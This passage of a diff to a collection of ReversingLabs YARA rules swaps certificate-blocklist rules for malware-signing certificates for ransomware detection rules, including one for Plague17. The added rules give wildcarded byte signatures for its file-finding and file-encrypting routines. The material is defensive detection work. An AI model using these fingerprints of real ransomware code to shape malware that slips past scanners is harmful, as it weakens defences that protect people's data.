C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 + 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 + ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 + ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A + } + $find_files_2_p1 = { + 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? + ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 + ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8 + ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? FF 75 + ?? 0F 43 85 ?? ?? ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8 ?? ?? ?? + ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D + 4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 + ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ?? + 0F 43 4D ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? + ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 + 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? + E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? + ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 + } + $find_files_2_p2 = { + F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF + 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 5D ?? 8B F0 80 + BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 00 + ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B D0 + 8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 85 ?? ?? ?? ?? 51 50 8B CA E8 ?? ?? ?? ?? F6 + 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 95 + ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 E9 + } + $encrypt_files_p1 = { + 6A ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 89 9D ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 6A ?? FF B5 + ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF D6 8B D8 + 83 FB ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 57 + FF D6 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? + ?? ?? B9 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 + A5 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? + FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? + ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? 8B F0 FF 15 ?? + ?? ?? ?? 85 F6 0F 95 C3 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 89 B5 ?? ?? ?? ?? 56 53 FF + } + $encrypt_files_p2 = { + 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D 56 ?? 8B 85 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 C8 8D 85 ?? ?? ?? ?? + 3B 8D ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 50 6A ?? 0F 44 F2 56 6A ?? + FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 + ?? ?? ?? ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF D7 BA ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 FF B5 + ?? ?? ?? ?? FF D6 B3 ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? + ?? ?? ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 + ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B + 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digisign Server ID - (Enrich)" and pe.signatures [ i ] . serial == "4c:0e:63:6a" and 1320191999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_072714A9 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Plague17 : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Plague17 ransomware." author = "ReversingLabs" - id = "15ad6936-78a4-58b1-8c68-27ec4ed38649" - date = "2020-08-05" - modified = "2023-11-08" + id = "065c47b5-f459-529e-8046-7394a742b50a" + date = "2021-02-19" + modified = "2021-02-19" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L981-L997" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Plague17.yara#L1-L263" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8bea4cfb60056446043ef90a7d01ecc52d82d9e7005a145a4daa61a522ecd2ae" + logic_hash = "e0e518fc83a62d70b83df273c6ba469e6f0fdf9c035126428ec7561e04437b6f" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Plague17" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digisign Server ID (Enrich)" and pe.signatures [ i ] . serial == "07:27:14:a9" and 1320191999 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_00D8F35F4Eb7872B2Dab0692E315382Fb0 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "2c051732-76d7-5562-a79e-c5bbdc8373b2" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L999-L1017" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "463757c59c32859163ea80e694e1f39239c857124aad3895f22f83b47645910c" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files_p1 = { + 55 89 E5 57 56 8D 85 ?? ?? ?? ?? 53 81 EC ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 31 C0 66 89 + 85 ?? ?? ?? ?? 8B 45 ?? 89 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 50 ?? 8B + 00 66 83 7C 50 ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? + ?? 2B 51 ?? 39 D0 0F 87 ?? ?? ?? ?? 8B 4D ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 45 ?? 8B 7D ?? 83 EC ?? 8B 00 8B 57 ?? 8D 8D ?? ?? ?? ?? 8D 14 50 C6 44 + 24 ?? ?? 89 04 24 89 8D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 54 24 ?? E8 ?? ?? ?? ?? 83 + EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 39 D0 0F + 87 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 83 EC ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 7D ?? 8D + } + $find_files_p2 = { + 9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 89 D9 8B 00 C6 44 24 ?? ?? 8B 57 ?? 89 B5 ?? ?? ?? + ?? 89 04 24 8D 14 50 89 54 24 ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 89 1C 24 + E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 89 5C 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 89 C6 0F 84 ?? + ?? ?? ?? 8D BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74 + ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? F6 85 ?? ?? + ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 0F 85 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? 83 EC ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? C7 44 24 ?? + ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? 89 5C 24 ?? 89 34 24 FF 15 ?? ?? ?? + ?? 83 EC ?? 85 C0 75 ?? 89 34 24 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 9D ?? ?? ?? + ?? 83 EC ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2 ?? ?? 8D 76 + ?? 8D BC 27 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74 + } + $find_files_p3 = { + 8B 45 ?? F6 85 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 75 + ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 EC ?? 39 D0 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 89 + C3 8B 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 8D B5 ?? ?? ?? ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? + ?? EB ?? 89 C3 8B 85 ?? ?? ?? ?? 39 F0 75 ?? EB ?? EB ?? EB ?? 89 C3 EB ?? C7 04 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB + } + $encrypt_files_p1 = { + 55 89 E5 57 56 53 81 EC ?? ?? ?? ?? 8B 45 ?? 89 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 00 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 83 + F8 ?? 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 C6 8D 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? + 89 34 24 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? + 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 34 24 05 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? 89 44 24 ?? 83 D2 ?? A1 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 54 24 ?? 89 85 + ?? ?? ?? ?? FF D0 31 C0 83 EC ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AB 7C ?? 0F + 8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 74 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? + 83 EC ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F + 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 35 ?? ?? ?? ?? 0B 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? + 80 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ?? + ?? ?? 89 D9 89 04 24 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? + ?? ?? 83 EC ?? 8B B5 ?? ?? ?? ?? 89 D9 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 1E 0F A4 C2 ?? C1 E0 ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D + } + $encrypt_files_p2 = { + 85 ?? ?? ?? ?? 89 04 24 8B 0E E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 04 24 8B + 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 + ?? 8B 0E E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 89 04 24 89 54 + 24 ?? 8B 0E 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? + ?? ?? 85 FF 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 + ?? ?? ?? ?? 8D BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8B 85 + ?? ?? ?? ?? 89 54 24 ?? 89 04 24 FF 95 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? C7 04 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89 + 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? + 1B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 0F AC D0 ?? C1 EA ?? 89 D3 09 + C3 0F 84 ?? ?? ?? ?? 83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 D2 ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? + 90 8D B4 26 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? C7 44 + 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 95 ?? ?? ?? ?? 8B 8D ?? + ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C + } + $encrypt_files_p3 = { + 24 ?? 89 0C 24 8B 0A E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B + 9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 89 54 24 ?? 89 1C 24 + FF 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 89 9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 89 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 81 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? 83 95 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 5C + 24 ?? 89 54 24 ?? 89 04 24 FF 95 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83 + EC ?? 81 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 D9 83 95 ?? ?? ?? ?? ?? 8B 02 89 04 24 E8 ?? + ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D + ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 0B 89 85 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 0B E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 83 EC ?? 89 04 24 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B + 85 ?? ?? ?? ?? 89 44 24 ?? 8B 0B E8 ?? ?? ?? ?? 8B 0B 83 EC ?? E8 ?? ?? ?? ?? 8B 9D + ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 1C 24 FF 15 ?? ?? ?? ?? 8B + } + $encrypt_files_p4 = { + 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 1C + 24 89 44 24 ?? 89 54 24 ?? FF 95 ?? ?? ?? ?? 83 EC ?? 83 85 ?? ?? ?? ?? ?? 8B 9D ?? + ?? ?? ?? 83 95 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 31 CB 31 D0 89 DA 09 C2 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 8B 95 + ?? ?? ?? ?? 1B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? 89 4C 24 ?? 8B 8D ?? ?? ?? ?? + 89 C3 89 44 24 ?? 89 0C 24 FF 95 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 8B 95 ?? ?? ?? ?? 89 14 24 8B 08 E8 ?? ?? + ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 7C 24 ?? 8B BD ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 89 3C 24 FF 95 ?? ?? ?? ?? 83 EC ?? 8B + 95 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 5C 24 ?? 8B 1D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? 89 74 24 ?? 89 54 24 ?? 89 3C 24 89 9D ?? ?? ?? ?? FF D3 8B 95 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83 EC ?? B9 ?? ?? ?? ?? C7 85 + } + $encrypt_files_p5 = { + 89 DF C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F AC D0 ?? C1 EA + ?? 01 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 11 95 ?? ?? ?? ?? 31 C0 C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? F3 AB C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 44 24 ?? ?? + ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? 89 85 ?? ?? + ?? ?? 89 7C 24 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 31 C0 F3 AB 8B BD ?? ?? ?? ?? 89 74 + 24 ?? 8D B5 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? + 89 3C 24 FF 95 ?? ?? ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 + EC ?? 8B 18 85 DB 74 ?? 89 D9 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? + ?? 8D 65 ?? 31 C0 5B 5E 5F 5D C2 ?? ?? 8D BD ?? ?? ?? ?? 